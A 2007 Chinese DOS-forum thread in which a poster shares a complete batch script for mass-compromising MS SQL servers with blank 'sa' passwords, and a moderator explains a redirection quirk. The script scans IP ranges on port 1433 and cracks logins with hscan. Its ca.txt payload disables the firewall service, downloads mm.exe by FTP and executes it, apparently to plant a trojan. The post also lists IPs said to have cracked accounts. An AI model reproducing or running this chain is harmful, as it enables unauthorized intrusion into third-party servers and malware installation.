中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: 1433入侵批处理的思路 上一主题 | 下一主题
91544466
新手上路





积分 4
发帖 1
注册 2007-9-15
状态 离线
『楼 主』:  1433入侵批处理的思路

写在前面的话:最近砍1433批量入侵蛮火的,都是利用弱口令。所以就想自己写一个自己的工具,当然需要大家的指点,毕竟我才初出网络。

制作思路:
1.s扫描器开扫1433端口+整理IP段
2.1433弱口令扫描+整理IP段
3.漏洞利用    -------------这是本人现在遇到的关键问题,其实以前写好了,测试成功率满高。但是现在弄丢   &&&&&代码重写以后,自动传马总是出错。



备注:HSCAN进行的扫描 扫描结果在LOG文件夹下产生一个hscan.log的文本,文本如下:

59.39.7.11@mssqlscan#Cracked account:  sa/[null]
59.37.36.11@mssqlscan#Cracked account:  sa/[null]





1433.bat代码如下:请阅过的朋友指点

@echo off
color 02                     
echo                               QQ:9154446  二郎神

title 安全焦点 Xfocus.Net

echo===================================
set /p startip=请输入你要扫描的开始IP:
set /p endip=请输入你要扫描的结束IP:
set /p max=请输入扫描的线程:
echo==================================

S syn %startip% %endip% 1433 %max% /save

for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ip.txt

hscan -f ip.txt -mssql

del result.txt
del s1.txt
del s2.txt
del ip.txt

cd log

for /f "tokens=1 delims=@" %%i in (hscan.log) do echo %%i >>ip2.txt

for /f %%i in (ip2.txt) do echo sqlcmd %%i "sa" "" ^< ca.txt >%%i.bat


dir /b /s *.bat >bat.txt

for /f %%i in (bat.txt) do start %%i

del ip2.txt
del *.bat
del bat.txt
del hscan.log


以上为完整代码,关键在这一行
for /f %%i in (ip2.txt) do echo sqlcmd %%i "sa" "" ^< ca.txt >%%i.bat

因为1433利用工具hscan的利用格式为sqlcmd ip user pass
我想要的结果就是%%i.bat内容为
sqlcmd ip "sa" "" < sa.txt

测试以下代码可行,
for /f %%i in (ip2.txt) do echo sqlcmd %%i "sa" "" ^< ca.txt >%%i.bat

但是我是为什么每次运行的时候他在CMD下都变成了
sqlcmd ip "sa" ""   0<ca.txt


ca.txt是ftp传马用到的文本,如下:
echo ftp www.ftp.com >ftp.txt
echo user >>ftp.txt
echo pass >>ftp.txt
echo binary >>ftp.txt
echo get mm.exe >>ftp.txt
echo bye >>ftp.txt
net stop sharedaccess
ftp -s:ftp.txt
mm.exe
mm.exe
exit
exit

大家看看 以上的代码 有什么意见给我发消息,MY QQ:9154446 +我注明来自DOS联盟论坛。
工具做好了发给大家测试:
工具更新在我的BOLG  love9154446.blog.163.com

[ Last edited by 91544466 on 2007-9-16 at 12:33 PM ]

2007-9-16 10:33
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
lxmxn
版主




积分 11386
发帖 4938
注册 2006-7-23
状态 离线
『第 2 楼』:  



  Quote:
但是我是为什么每次运行的时候他在CMD下都变成了
sqlcmd ip "sa" ""   0<ca.txt

< 前面的0是指的0号句柄,代表键盘输入,在批处理中可以省略书写。但是在执行批处理的时候,实际的命令应该是“sqlcmd ip "sa" ""   0<ca.txt”,所以cmd会这样显示。

试试这样的批处理:
echo something > file
执行的时候会在命令行显示

  Quote:
echo something 1> file

可以发现这里的1号句柄(标准输出StdOut)也是可以省略的。

2007-9-16 21:29
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: